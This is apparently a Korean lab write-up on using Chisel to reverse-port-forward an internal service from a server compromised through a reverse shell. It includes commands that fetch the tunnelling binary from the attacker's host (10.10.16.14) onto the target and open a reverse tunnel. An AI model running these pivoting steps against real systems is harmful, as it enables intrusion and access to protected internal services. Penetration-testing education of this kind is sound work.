Chisel을 이용한 리버스 포트포워딩
여러 실습 문제를 풀다 보면, 대상 서버의 외부 포트가 아니라 내부에서만 열려 있는 서비스에 접근해야 하는 상황이 생긴다.
SSH로 대상 서버에 접속할 수 있다면 다음과 같이 로컬 포트 포워딩을 설정하면 된다.
ssh -L [내 PC 포트]:[대상 서버 기준 목적지 주소]:[목적지 포트] 사용자@SSH서버
하지만 이번에는 SSH로 접속할 수 없었고, 프레임워크 취약점(CVE)을 이용해 확보한 리버스 쉘만 사용할 수 있었다. 이런 환경에서는 SSH의 포트 포워딩 기능을 사용할 수 없으므로 터널링 도구를 별도로 구성해야 한다.
이 글에서는 Chisel을 이용해 대상 서버의 127.0.0.1:8888에서 실행 중인 내부 서비스를 Kali의 127.0.0.1:8888로 전달하는 방법을 정리한다.
아래 내용은 본인이 소유하거나 명시적으로 허가받은 실습 환경에서만 사용한다.
SSH와 RCE 리버스 쉘의 차이
SSH
- 정상적인 인증 절차를 거쳐 접속한다.
- 비교적 안정적이고 완전한 터미널을 제공한다.
- 포트 포워딩과 파일 복사 기능을 기본으로 지원한다.
- 연결이 끊겨도 다시 접속하기 쉽다.
RCE 리버스 쉘
- 취약점을 통해 원격 명령을 실행하고 쉘을 확보한다.
- 로그인 인증 정보가 없어도 초기 침투가 가능한 경우가 있다.
- 불안정한 임시 쉘인 경우가 많다.
- 연결이 끊기면 취약점을 다시 실행해야 할 수 있다.
- 포트 포워딩과 파일 전송 기능을 별도로 구성해야 한다.
이번 글에서 다루는 핵심은 마지막 항목, 즉 리버스 쉘 환경에서 포트 포워딩을 별도로 구성하는 방법이다.
전체 구조
대상 서버 내부의 127.0.0.1:8888에서 서비스가 실행 중이라고 가정한다. 이 주소는 대상 서버 자신의 루프백 인터페이스이므로 외부에서는 직접 접근할 수 없다.
이때 Chisel이 Kali와 대상 서버 사이에서 터널 역할을 한다. 대상 서버가 외부로 연결을 시작할 수 있는 상황을 활용하기 위해 Kali에서 Chisel 서버를 실행하고, 대상 서버에서는 Chisel 클라이언트를 실행한다.
Kali
├── HTTP 파일 서버 : 대상 서버에 Chisel 바이너리 전달
└── Chisel 서버 : 대상 서버의 터널 연결 수신
대상 서버
└── Chisel 클라이언트 : Kali에 연결해 내부 포트 전달
최종적인 연결 흐름은 다음과 같다.
Kali의 127.0.0.1:8888
↓
Chisel 터널
↓
대상 서버의 127.0.0.1:8888
1. 시스템 아키텍처 확인
Chisel은 실행할 시스템의 CPU 아키텍처와 맞는 바이너리를 사용해야 한다. Kali와 대상 서버에서 각각 다음 명령어를 실행해 아키텍처를 확인한다.
uname -m
이번 환경에서는 다음과 같은 결과가 나왔다.
Kali: aarch64
대상 서버: x86_64
Kali는 Apple Silicon MacBook 위에서 실행 중인 ARM64 환경이고, 대상 서버는 x86_64 Linux 환경이었다. 따라서 Kali에서 서버로 실행할 Chisel은 ARM64용을 사용하고, 대상 서버에서 클라이언트로 실행할 Chisel은 AMD64용을 준비한다.
여기서 중요한 점은 Chisel 서버와 클라이언트의 CPU 아키텍처가 서로 같을 필요가 없다는 것이다. 각 시스템에서 실행할 수 있는 바이너리만 사용하면 네트워크를 통해 정상적으로 통신한다.
2. 대상 서버용 Chisel 바이너리 준비
Kali에서 임시 작업 디렉터리로 이동한다.
cd /tmp
GitHub 릴리스 페이지에서 Linux AMD64용 Chisel을 내려받는다. 여기서는 v1.10.1을 사용한다.
wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz
압축을 해제한다.
gunzip chisel_1.10.1_linux_amd64.gz
파일 이름을 짧게 변경하고 실행 권한을 부여한다.
mv chisel_1.10.1_linux_amd64 chisel-amd64
chmod +x chisel-amd64
이제 이 바이너리를 대상 서버로 전달하면 된다.
Kali에서 실행할 Chisel 서버 바이너리도 Kali의 아키텍처에 맞아야 한다. 이번 환경에서는 ARM64용 Chisel을 사용한다.
3. 파일 전송용 HTTP 서버 실행
대상 서버에는 Chisel이 설치되어 있지 않으므로 Kali에 준비한 바이너리를 대상 서버의 /tmp 디렉터리로 전달한다.
Kali의 /tmp 디렉터리에서 Python HTTP 서버를 실행한다.
cd /tmp
python3 -m http.server 8080
이 명령은 현재 디렉터리의 파일을 HTTP로 제공한다. 대상 서버에서는 다음 주소를 통해 Chisel 바이너리를 내려받을 수 있다.
http://KALI_IP:8080/chisel-amd64
여기서 8080은 Chisel 파일을 전달하기 위한 임시 포트다. 파일 전송을 마치면 HTTP 서버를 종료해도 된다.
4. Kali에서 Chisel 서버 실행
Kali의 다른 터미널에서 리버스 포트 포워딩을 허용하는 Chisel 서버를 실행한다.
chisel server --reverse --port 8000
각 옵션의 의미는 다음과 같다.
server Chisel을 서버 모드로 실행한다.
--reverse 클라이언트가 리버스 포트 포워딩을 생성하도록 허용한다.
--port 8000 Chisel 클라이언트의 연결을 8000번 포트에서 수신한다.
정상적으로 실행되면 다음과 비슷한 메시지가 출력된다.
Listening on http://0.0.0.0:8000
이 터미널은 터널을 사용하는 동안 계속 실행해 둔다. 또한 대상 서버에서 Kali의 8000번 포트로 연결할 수 있어야 한다.
5. 대상 서버로 Chisel 전송
확보한 리버스 쉘에서 /tmp 디렉터리로 이동한다.
cd /tmp
Kali의 HTTP 서버에서 AMD64용 Chisel을 내려받는다.
curl -f http://10.10.16.14:8080/chisel-amd64 -o /tmp/chisel
이 예시에서 10.10.16.14는 Kali의 VPN 인터페이스 IP 주소다. 환경에 따라 자신의 Kali IP 주소로 변경한다.
각 옵션의 의미는 다음과 같다.
-f HTTP 오류 응답을 받으면 실패로 처리한다.
-o 응답을 지정한 파일로 저장한다.
/tmp/chisel 대상 서버에서 파일을 저장할 경로다.
다운로드한 파일에 실행 권한을 부여한다.
chmod +x /tmp/chisel
전송된 파일의 형식과 아키텍처를 확인한다.
file /tmp/chisel
출력에 x86-64가 표시되면 대상 서버의 아키텍처에 맞는 바이너리를 받은 것이다. 파일 전송을 마쳤으므로 이 시점부터는 Kali에서 실행한 HTTP 서버를 종료해도 된다.
6. 대상 서버에서 Chisel 클라이언트 실행
대상 서버의 리버스 쉘에서 다음 명령어를 실행한다.
/tmp/chisel client 10.10.16.14:8000 \
R:8888:127.0.0.1:8888
명령의 구성은 다음과 같다.
/tmp/chisel client Chisel을 클라이언트 모드로 실행한다.
10.10.16.14:8000 Kali에서 실행 중인 Chisel 서버의 주소와 포트다.
R:8888:127.0.0.1:8888 리버스 포트 포워딩 규칙이다.
R:8888:127.0.0.1:8888 규칙은 Kali의 127.0.0.1:8888로 들어오는 연결을 Chisel 터널을 통해 대상 서버 기준 127.0.0.1:8888로 전달한다.
Kali의 127.0.0.1:8888
→ Chisel 터널
→ 대상 서버의 127.0.0.1:8888
연결에 성공하면 대상 서버의 Chisel 클라이언트와 Kali의 Chisel 서버 양쪽에 연결 성공 로그가 출력된다.
리버스 쉘이 불안정하다면 명령을 실행한 쉘이 끊어질 때 Chisel도 함께 종료될 수 있다. 필요한 경우 실습 환경에서 사용할 수 있는 프로세스 유지 방법을 별도로 적용한다.
7. Kali에서 내부 서비스 접속
터널이 생성되면 Kali의 브라우저에서 다음 주소로 접속한다.
http://127.0.0.1:8888
여기서 접속하는 주소는 대상 서버의 외부 IP가 아니라 Kali 자신의 127.0.0.1이다. Kali의 로컬 포트로 들어온 요청이 Chisel 터널을 거쳐 대상 서버 내부 서비스로 전달되기 때문이다.
명령줄에서 먼저 연결 상태를 확인하고 싶다면 다음과 같이 요청할 수 있다.
curl http://127.0.0.1:8888
정리
전체 과정은 다음과 같다.
- 대상 서버 내부의
127.0.0.1:8888에서 실행 중인 서비스를 발견한다. - Kali와 대상 서버의 CPU 아키텍처를 확인한다.
- 각 시스템의 아키텍처에 맞는 Chisel 바이너리를 준비한다.
- Kali에서 HTTP 서버를 열어 대상 서버용 Chisel 바이너리를 제공한다.
- Kali에서
--reverse옵션을 사용해 Chisel 서버를 실행한다. - 대상 서버에서 Chisel을 내려받고 실행 권한을 부여한다.
- 대상 서버에서
R:8888:127.0.0.1:8888규칙으로 Chisel 클라이언트를 실행한다. - Kali의 브라우저에서
http://127.0.0.1:8888로 접속한다.
SSH를 사용할 수 없는 RCE 리버스 쉘 환경에서도 대상 서버가 Kali로 아웃바운드 연결을 만들 수 있다면 Chisel을 이용해 내부 서비스를 로컬 포트로 전달할 수 있다. SSH 포트 포워딩보다 준비할 것이 조금 더 많지만, 한 번 구조를 이해하면 다양한 내부 서비스 접근 상황에 활용할 수 있다.
원본 · velog.io